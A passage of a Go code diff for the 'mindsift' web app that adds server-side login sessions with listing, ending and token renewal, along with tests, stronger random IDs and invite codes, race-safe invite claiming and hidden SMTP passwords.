if !force && claims.IssuedAt != nil && time.Since(claims.IssuedAt.Time) < tokenRenewAfter {
return
}
if token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, claims.ID); err == nil {
w.Header().Set("X-Session-Token", token)
}
}
func withSession(ctx context.Context, sessionID string) context.Context {
return context.WithValue(ctx, sessionIDKey{}, sessionID)
}
func (s *Server) handleListSessions(w http.ResponseWriter, r *http.Request) {
list, err := s.store.ListSessions(auth.GetUserID(r.Context()), sessionIDFrom(r))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if s.cfg.DemoMode {
// Demo visitors share the accounts; the others' devices and addresses are none of their business
own := list[:0]
for _, sess := range list {
if sess.Current {
own = append(own, sess)
}
}
list = own
}
writeJSON(w, http.StatusOK, list)
}
// handleEndSession logs out one device.
func (s *Server) handleEndSession(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
if err := s.store.RevokeSession(userID, chi.URLParam(r, "id")); err != nil {
status := http.StatusInternalServerError
if errors.Is(err, storage.ErrSessionNotFound) {
status = http.StatusNotFound
}
writeError(w, status, err.Error())
return
}
// That device's streams end; the others reconnect with their still valid sessions
s.wsHub.DisconnectUser(userID)
writeJSON(w, http.StatusOK, map[string]bool{"ended": true})
}
+144
View File
@@ -0,0 +1,144 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/golang-jwt/jwt/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
func sessionCall(router http.Handler, method, path, token, body, ua string) *httptest.ResponseRecorder {
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", ua)
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func sessionLogin(t *testing.T, router http.Handler, login, pw, ua string) string {
t.Helper()
rec := sessionCall(router, "POST", "/api/v1/auth/login", "", `{"login":"`+login+`","password":"`+pw+`"}`, ua)
if rec.Code != http.StatusOK {
t.Fatalf("login: %d %s", rec.Code, rec.Body.String())
}
var res struct{ Token string }
_ = json.Unmarshal(rec.Body.Bytes(), &res)
return res.Token
}
func TestSessionsListEndAndLogout(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
_, _ = store.CreateUser("sess@example.com", mustHash(t, "richtig123"), "Sess", "member")
laptop := sessionLogin(t, router, "sess@example.com", "richtig123", "Mozilla/5.0 (X11; Linux x86_64) Firefox/130.0")
phone := sessionLogin(t, router, "sess@example.com", "richtig123", "Mozilla/5.0 (iPhone) Safari/604.1")
rec := sessionCall(router, "GET", "/api/v1/auth/sessions", laptop, "", "")
var list []storage.Session
_ = json.Unmarshal(rec.Body.Bytes(), &list)
if rec.Code != http.StatusOK || len(list) != 2 {
t.Fatalf("want 2 sessions, got %d %s", rec.Code, rec.Body.String())
}
var other string
for _, s := range list {
if s.Current != strings.Contains(s.UserAgent, "Firefox") {
t.Fatalf("current flag wrong: %+v", s)
}
if !s.Current {
other = s.ID
}
}
// Ending the phone's session logs the phone out, the laptop stays
if rec := sessionCall(router, "DELETE", "/api/v1/auth/sessions/"+other, laptop, "", ""); rec.Code != http.StatusOK {
t.Fatalf("end session: %d %s", rec.Code, rec.Body.String())
}
if rec := sessionCall(router, "GET", "/api/v1/auth/me", phone, "", ""); rec.Code != http.StatusUnauthorized {
t.Fatalf("ended session must be rejected, got %d", rec.Code)
}
if rec := sessionCall(router, "GET", "/api/v1/auth/me", laptop, "", ""); rec.Code != http.StatusOK {
t.Fatalf("other session must stay, got %d", rec.Code)
}
// Other users' sessions cannot be ended
_, strangerToken := newTestUser(t, store, "stranger@example.com")
list = nil
_ = json.Unmarshal(sessionCall(router, "GET", "/api/v1/auth/sessions", laptop, "", "").Body.Bytes(), &list)
if rec := sessionCall(router, "DELETE", "/api/v1/auth/sessions/"+list[0].ID, strangerToken, "", ""); rec.Code != http.StatusNotFound {
t.Fatalf("foreign session: want 404, got %d", rec.Code)
}
if rec := sessionCall(router, "POST", "/api/v1/auth/logout", laptop, "", ""); rec.Code != http.StatusOK {
t.Fatalf("logout: %d", rec.Code)
}
if rec := sessionCall(router, "GET", "/api/v1/auth/me", laptop, "", ""); rec.Code != http.StatusUnauthorized {
t.Fatalf("token must be dead after logout, got %d", rec.Code)
}
}
func TestSessionTokenRenewedWhenOld(t *testing.T) {
srv, store, token := setupTestServer(t)
router := srv.Router()
if rec := sessionCall(router, "GET", "/api/v1/auth/me", token, "", ""); rec.Header().Get("X-Session-Token") != "" {
t.Fatal("fresh token must not be renewed")
}
claims, err := auth.ValidateToken(srv.cfg.JWTSecret, token)
if err != nil {
t.Fatal(err)
}
claims.IssuedAt = jwt.NewNumericDate(time.Now().Add(-48 * time.Hour))
old, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString([]byte(srv.cfg.JWTSecret))
rec := sessionCall(router, "GET", "/api/v1/auth/me", old, "", "")
renewed := rec.Header().Get("X-Session-Token")
if rec.Code != http.StatusOK || renewed == "" {
t.Fatalf("old token must be renewed, got %d %q", rec.Code, renewed)
}
fresh, err := auth.ValidateToken(srv.cfg.JWTSecret, renewed)
if err != nil || fresh.ID != claims.ID {
t.Fatalf("renewed token must keep the session: %v", err)
}
_ = store
}
func TestPasswordChangeNeedsCurrentPassword(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
_, _ = store.CreateUser("pw@example.com", mustHash(t, "richtig123"), "Pw", "member")
me := sessionLogin(t, router, "pw@example.com", "richtig123", "laptop")
other := sessionLogin(t, router, "pw@example.com", "richtig123", "phone")
for _, body := range []string{
`{"password":"neuesPasswort1"}`,
`{"password":"neuesPasswort1","currentPassword":"falsch"}`,
`{"email":"neu@example.com"}`,
} {
if rec := sessionCall(router, "PATCH", "/api/v1/auth/settings", me, body, ""); rec.Code != http.StatusForbidden {
t.Fatalf("%s: want 403, got %d", body, rec.Code)
}
}
// Harmless changes need no password
if rec := sessionCall(router, "PATCH", "/api/v1/auth/settings", me, `{"displayName":"Neu"}`, ""); rec.Code != http.StatusOK {
t.Fatalf("display name: %d %s", rec.Code, rec.Body.String())
}
rec := sessionCall(router, "PATCH", "/api/v1/auth/settings", me, `{"password":"neuesPasswort1","currentPassword":"richtig123"}`, "")
renewed := rec.Header().Get("X-Session-Token")
if rec.Code != http.StatusOK || renewed == "" {
t.Fatalf("password change: want 200 with new token, got %d %q", rec.Code, renewed)
}
if rec := sessionCall(router, "GET", "/api/v1/auth/me", renewed, "", ""); rec.Code != http.StatusOK {
t.Fatalf("this device must stay logged in, got %d", rec.Code)
}
if rec := sessionCall(router, "GET", "/api/v1/auth/me", other, "", ""); rec.Code != http.StatusUnauthorized {
t.Fatalf("other device must be logged out, got %d", rec.Code)
}
}
+4 -3
View File
@@ -22,6 +22,7 @@ const streamTicketTTL = 60 * time.Second
type streamTicket struct {
userID string
sessionID string
tokenVersion int
expires time.Time
}
@@ -31,7 +32,7 @@ type streamTickets struct {
tickets map[string]streamTicket
}
func (t *streamTickets) issue(userID string, tokenVersion int) (string, error) {
func (t *streamTickets) issue(userID, sessionID string, tokenVersion int) (string, error) {
buf := make([]byte, 24)
if _, err := rand.Read(buf); err != nil {
return "", err
@@ -48,7 +49,7 @@ func (t *streamTickets) issue(userID string, tokenVersion int) (string, error) {
delete(t.tickets, k)
}
}
t.tickets[id] = streamTicket{userID: userID, tokenVersion: tokenVersion, expires: now.Add(streamTicketTTL)}
t.tickets[id] = streamTicket{userID: userID, sessionID: sessionID, tokenVersion: tokenVersion, expires: now.Add(streamTicketTTL)}
return id, nil
}
@@ -70,7 +71,7 @@ func (s *Server) handleStreamTicket(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusUnauthorized, "Nicht autorisiert")
return
}
ticket, err := s.streamTickets.issue(user.ID, user.TokenVersion)
ticket, err := s.streamTickets.issue(user.ID, sessionIDFrom(r), user.TokenVersion)
if err != nil {
writeError(w, http.StatusInternalServerError, "Ticket konnte nicht erstellt werden")
return
+8 -5
View File
@@ -58,13 +58,16 @@ func CheckPassword(password, hash string) bool {
return err == nil
}
func GenerateToken(secret, userID, email, displayName string, tokenVersion int) (string, error) {
// TokenLifetime is the absolute lifetime of a session token; while the session is used the token is
// renewed long before (see api.authMiddleware), idle sessions end after 30 days on the server side.
const TokenLifetime = 30 * 24 * time.Hour
// GenerateToken signs a session token; sessionID (the JWT ID) names the server-side session row.
func GenerateToken(secret, userID, email, displayName string, tokenVersion int, sessionID string) (string, error) {
if tokenVersion <= 0 {
tokenVersion = 1
}
b := make([]byte, 16)
_, _ = rand.Read(b)
jti := hex.EncodeToString(b)
jti := sessionID
now := time.Now()
claims := &Claims{
@@ -74,7 +77,7 @@ func GenerateToken(secret, userID, email, displayName string, tokenVersion int)
TokenVersion: tokenVersion,
RegisteredClaims: jwt.RegisteredClaims{
ID: jti,
ExpiresAt: jwt.NewNumericDate(now.Add(30 * 24 * time.Hour)),
ExpiresAt: jwt.NewNumericDate(now.Add(TokenLifetime)),
IssuedAt: jwt.NewNumericDate(now),
Issuer: "mindsift",
},
+6 -2
View File
@@ -10,9 +10,10 @@ import (
"time"
)
// NewID generates a readable prefixed ID as specified in BRAIN.md (e.g. th_4x8z19a0b1)
// NewID generates a readable prefixed ID (e.g. th_4f1c09e2b7a35d68c0e1f2a3). 96 random bits keep
// collisions out of reach; older IDs with 40 bits stay valid (FLAW-32).
func NewID(prefix string) string {
b := make([]byte, 5)
b := make([]byte, 12)
_, _ = rand.Read(b)
return fmt.Sprintf("%s_%s", prefix, hex.EncodeToString(b))
}
@@ -284,7 +285,10 @@ type SystemSettings struct {
SMTPHost string `json:"smtpHost"`
SMTPPort string `json:"smtpPort"`
SMTPUser string `json:"smtpUser"`
// SMTPPass is never sent to the browser (FLAW-34): reads leave it empty and set SMTPPassSet;
// writing it empty keeps the stored password
SMTPPass string `json:"smtpPass"`
SMTPPassSet bool `json:"smtpPassSet,omitempty"`
SMTPFrom string `json:"smtpFrom"`
SMTPTLS bool `json:"smtpTls"`
SMTPSkipVerify bool `json:"smtpSkipVerify"` // accept self-signed certificates
+25
View File
@@ -7,6 +7,8 @@ import (
// ResetAndSeedDemo drops all tables, recreates the schema, and seeds demo accounts and demo data.
func (s *Store) ResetAndSeedDemo() error {
// Logged-in demo visitors stay logged in: their sessions survive the reset (fixed account IDs)
kept := s.demoSessions()
if err := s.dropAllTables(); err != nil {
return fmt.Errorf("reset demo: drop all tables: %w", err)
}
@@ -16,6 +18,29 @@ func (s *Store) ResetAndSeedDemo() error {
if err := s.EnsureDemoAccounts(); err != nil {
return fmt.Errorf("reset demo: ensure demo accounts: %w", err)
}
for _, k := range kept {
_, _ = s.db.Exec(`INSERT OR IGNORE INTO sessions (id, user_id, created_at, last_used_at, user_agent, ip) VALUES (?, ?, ?, ?, ?, ?)`,
k.id, k.userID, k.created, k.lastUsed, k.agent, k.ip)
}
slog.Info("🧹 Demo-Modus: Datenbank für Testumgebung zurückgesetzt und neu befüllt")
return nil
}
type keptSession struct{ id, userID, created, lastUsed, agent, ip string }
func (s *Store) demoSessions() []keptSession {
rows, err := s.db.Query(`SELECT id, user_id, created_at, last_used_at, user_agent, ip FROM sessions
WHERE revoked_at = '' AND user_id IN (?, ?)`, DemoAdminID, DemoUserID)
if err != nil {
return nil // first start: no sessions table yet
}
defer rows.Close()
var out []keptSession
for rows.Next() {
var k keptSession
if rows.Scan(&k.id, &k.userID, &k.created, &k.lastUsed, &k.agent, &k.ip) == nil {
out = append(out, k)
}
}
return out
}
+1
View File
@@ -24,6 +24,7 @@ type migration struct {
var migrations = []migration{
{3, "Basis-Schema v0.4.1", (*Store).migrateBaseline},
{4, "Sitzungen", (*Store).migrateSessions},
}
func (s *Store) migrate() error {
+127
View File
@@ -0,0 +1,127 @@
package storage
import (
"crypto/rand"
"encoding/hex"
"errors"
"time"
)
// Sessions (FLAW-31): every login is a row; the session token carries its ID. A session ends on
// logout, when it is ended from the session list, when all sessions are ended, or after
// SessionIdleTimeout without use. Tokens are renewed while the session is used (sliding login).
// SessionIdleTimeout ends sessions that were not used for this long.
const SessionIdleTimeout = 30 * 24 * time.Hour
// sessionTouchEvery limits writes: last_used_at is updated at most this often.
const sessionTouchEvery = 5 * time.Minute
var ErrSessionNotFound = errors.New("Sitzung nicht gefunden")
type Session struct {
ID string `json:"id"`
CreatedAt string `json:"createdAt"`
LastUsedAt string `json:"lastUsedAt"`
UserAgent string `json:"userAgent"`
IP string `json:"ip"`
Current bool `json:"current"`
}
func (s *Store) migrateSessions() error {
return s.execInTx(
stmt(`CREATE TABLE IF NOT EXISTS sessions (
id TEXT PRIMARY KEY,
user_id TEXT NOT NULL,
created_at TEXT NOT NULL,
last_used_at TEXT NOT NULL,
user_agent TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
revoked_at TEXT NOT NULL DEFAULT ''
)`),
stmt(`CREATE INDEX IF NOT EXISTS idx_sessions_user ON sessions(user_id)`),
// Replaced by sessions: a logout now ends the session instead of listing the token
stmt(`DROP TABLE IF EXISTS revoked_tokens`),
)
}
func nowUTC() string { return time.Now().UTC().Format(time.RFC3339) }
// CreateSession starts a session for a login; old ended or idle sessions of the user are removed.
func (s *Store) CreateSession(userID, userAgent, ip string) (string, error) {
b := make([]byte, 16)
if _, err := rand.Read(b); err != nil {
return "", err
}
id := hex.EncodeToString(b)
if len(userAgent) > 300 {
userAgent = userAgent[:300]
}
idleCutoff := time.Now().Add(-SessionIdleTimeout).UTC().Format(time.RFC3339)
return id, s.execInTx(
stmt(`DELETE FROM sessions WHERE user_id = ? AND (revoked_at != '' OR last_used_at < ?)`, userID, idleCutoff),
stmt(`INSERT INTO sessions (id, user_id, created_at, last_used_at, user_agent, ip) VALUES (?, ?, ?, ?, ?, ?)`,
id, userID, nowUTC(), nowUTC(), userAgent, ip),
)
}
// SessionActive reports whether the session belongs to the user, was not ended and was used recently.
// It also records the use (at most every few minutes).
func (s *Store) SessionActive(sessionID, userID string) bool {
if sessionID == "" {
return false
}
var lastUsed, revoked string
err := s.db.QueryRow(`SELECT last_used_at, revoked_at FROM sessions WHERE id = ? AND user_id = ?`, sessionID, userID).
Scan(&lastUsed, &revoked)
if err != nil || revoked != "" {
return false
}
last, err := time.Parse(time.RFC3339, lastUsed)
if err != nil || time.Since(last) > SessionIdleTimeout {
return false
}
if time.Since(last) > sessionTouchEvery {
_, _ = s.db.Exec(`UPDATE sessions SET last_used_at = ? WHERE id = ?`, nowUTC(), sessionID)
}
return true
}
// ListSessions returns the user's active sessions, most recently used first.
func (s *Store) ListSessions(userID, currentID string) ([]Session, error) {
idleCutoff := time.Now().Add(-SessionIdleTimeout).UTC().Format(time.RFC3339)
rows, err := s.db.Query(`SELECT id, created_at, last_used_at, user_agent, ip FROM sessions
WHERE user_id = ? AND revoked_at = '' AND last_used_at >= ? ORDER BY last_used_at DESC`, userID, idleCutoff)
if err != nil {
return nil, err
}
defer rows.Close()
out := []Session{}
for rows.Next() {
var ss Session
if err := rows.Scan(&ss.ID, &ss.CreatedAt, &ss.LastUsedAt, &ss.UserAgent, &ss.IP); err != nil {
return nil, err
}
ss.Current = ss.ID == currentID
out = append(out, ss)
}
return out, rows.Err()
}
// RevokeSession ends one session of the user.
func (s *Store) RevokeSession(userID, sessionID string) error {
res, err := s.db.Exec(`UPDATE sessions SET revoked_at = ? WHERE id = ? AND user_id = ? AND revoked_at = ''`, nowUTC(), sessionID, userID)
if err != nil {
return err
}
if n, _ := res.RowsAffected(); n == 0 {
return ErrSessionNotFound
}
return nil
}
// RevokeOtherSessions ends every session of the user except keepID ("" ends all).
func (s *Store) RevokeOtherSessions(userID, keepID string) error {
_, err := s.db.Exec(`UPDATE sessions SET revoked_at = ? WHERE user_id = ? AND id != ? AND revoked_at = ''`, nowUTC(), userID, keepID)
return err
}
+40 -29
View File
@@ -1,6 +1,8 @@
package storage
import (
"crypto/rand"
"encoding/base32"
"errors"
"fmt"
"strings"
@@ -303,7 +305,7 @@ func (s *Store) DeleteUser(userID string) error {
return err
}
if err := s.execInTx(
stmt(`DELETE FROM revoked_tokens WHERE user_id = ?`, userID),
stmt(`DELETE FROM sessions WHERE user_id = ?`, userID),
stmt(`DELETE FROM task_assignees WHERE user_id = ?`, userID),
stmt(`DELETE FROM password_reset_tokens WHERE user_id = ?`, userID),
stmt(`DELETE FROM users WHERE id = ?`, userID),
@@ -315,33 +317,12 @@ func (s *Store) DeleteUser(userID string) error {
return nil
}
// RevokeToken adds an individual JWT to the blacklist until its expiration date
func (s *Store) RevokeToken(tokenStr, userID string, expiresAt time.Time) error {
hash := auth.HashAPIKey(tokenStr)
_, err := s.db.Exec(
`INSERT OR REPLACE INTO revoked_tokens (token_hash, user_id, expires_at, revoked_at) VALUES (?, ?, ?, ?)`,
hash, userID, expiresAt.UTC().Format(time.RFC3339), time.Now().UTC().Format(time.RFC3339),
)
// Idempotently prune old expired tokens
_, _ = s.db.Exec(`DELETE FROM revoked_tokens WHERE expires_at < ?`, time.Now().UTC().Format(time.RFC3339))
return err
}
// IsTokenRevoked checks if a specific JWT token has been explicitly blacklisted
func (s *Store) IsTokenRevoked(tokenStr string) bool {
hash := auth.HashAPIKey(tokenStr)
var count int
err := s.db.QueryRow(
`SELECT COUNT(1) FROM revoked_tokens WHERE token_hash = ? AND expires_at >= ?`,
hash, time.Now().UTC().Format(time.RFC3339),
).Scan(&count)
return err == nil && count > 0
}
// RevokeAllUserTokens increments the user's token_version, instantly invalidating all existing JWTs for that user
func (s *Store) RevokeAllUserTokens(userID string) error {
_, err := s.db.Exec(`UPDATE users SET token_version = token_version + 1 WHERE id = ?`, userID)
return err
return s.execInTx(
stmt(`UPDATE users SET token_version = token_version + 1 WHERE id = ?`, userID),
stmt(`UPDATE sessions SET revoked_at = ? WHERE user_id = ? AND revoked_at = ''`, nowUTC(), userID),
)
}
// --- USER INVITES ---
@@ -353,7 +334,7 @@ func (s *Store) CreateUserInvite(createdBy, email, role, orgID string, validDays
if validDays <= 0 || validDays > 365 {
validDays = 7
}
code := "INV-" + strings.ToUpper(domain.NewID("c")[2:])
code := newInviteCode()
now := time.Now().UTC()
inv := &domain.UserInvite{
ID: domain.NewID("inv"),
@@ -398,6 +379,15 @@ func (s *Store) GetUserInvites() ([]domain.UserInvite, error) {
return invites, nil
}
// newInviteCode returns INV- plus 100 random bits in Base32, grouped for typing:
// INV-ABCDE-FGHIJ-KLMNO-PQRST (FLAW-32).
func newInviteCode() string {
b := make([]byte, 13)
_, _ = rand.Read(b)
raw := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(b)[:20]
return "INV-" + raw[0:5] + "-" + raw[5:10] + "-" + raw[10:15] + "-" + raw[15:20]
}
func (s *Store) GetUserInviteByCode(code string) (*domain.UserInvite, error) {
code = strings.ToUpper(strings.TrimSpace(code))
var inv domain.UserInvite
@@ -418,11 +408,32 @@ func (s *Store) GetUserInviteByCode(code string) (*domain.UserInvite, error) {
return &inv, nil
}
func (s *Store) MarkUserInviteUsed(inviteID, usedByUserID string) error {
_, err := s.db.Exec(`UPDATE user_invites SET used_by = ? WHERE id = ?`, usedByUserID, inviteID)
// ClaimUserInvite reserves an unused invite before the account is created, so two registrations with
// the same code cannot both succeed (FLAW-40). It returns the claim marker for FinishUserInvite or
// ReleaseUserInvite.
func (s *Store) ClaimUserInvite(inviteID string) (string, error) {
claim := domain.NewID("claim")
res, err := s.db.Exec(`UPDATE user_invites SET used_by = ? WHERE id = ? AND used_by = ''`, claim, inviteID)
if err != nil {
return "", err
}
if n, _ := res.RowsAffected(); n != 1 {
return "", errors.New("Dieser Einladungscode wurde bereits eingelöst")
}
return claim, nil
}
// FinishUserInvite records the new account on a claimed invite.
func (s *Store) FinishUserInvite(inviteID, claim, userID string) error {
_, err := s.db.Exec(`UPDATE user_invites SET used_by = ? WHERE id = ? AND used_by = ?`, userID, inviteID, claim)
return err
}
// ReleaseUserInvite frees a claimed invite again when the account could not be created.
func (s *Store) ReleaseUserInvite(inviteID, claim string) {
_, _ = s.db.Exec(`UPDATE user_invites SET used_by = '' WHERE id = ? AND used_by = ?`, inviteID, claim)
}
func (s *Store) DeleteUserInvite(inviteID string) error {
_, err := s.db.Exec(`DELETE FROM user_invites WHERE id = ?`, inviteID)
return err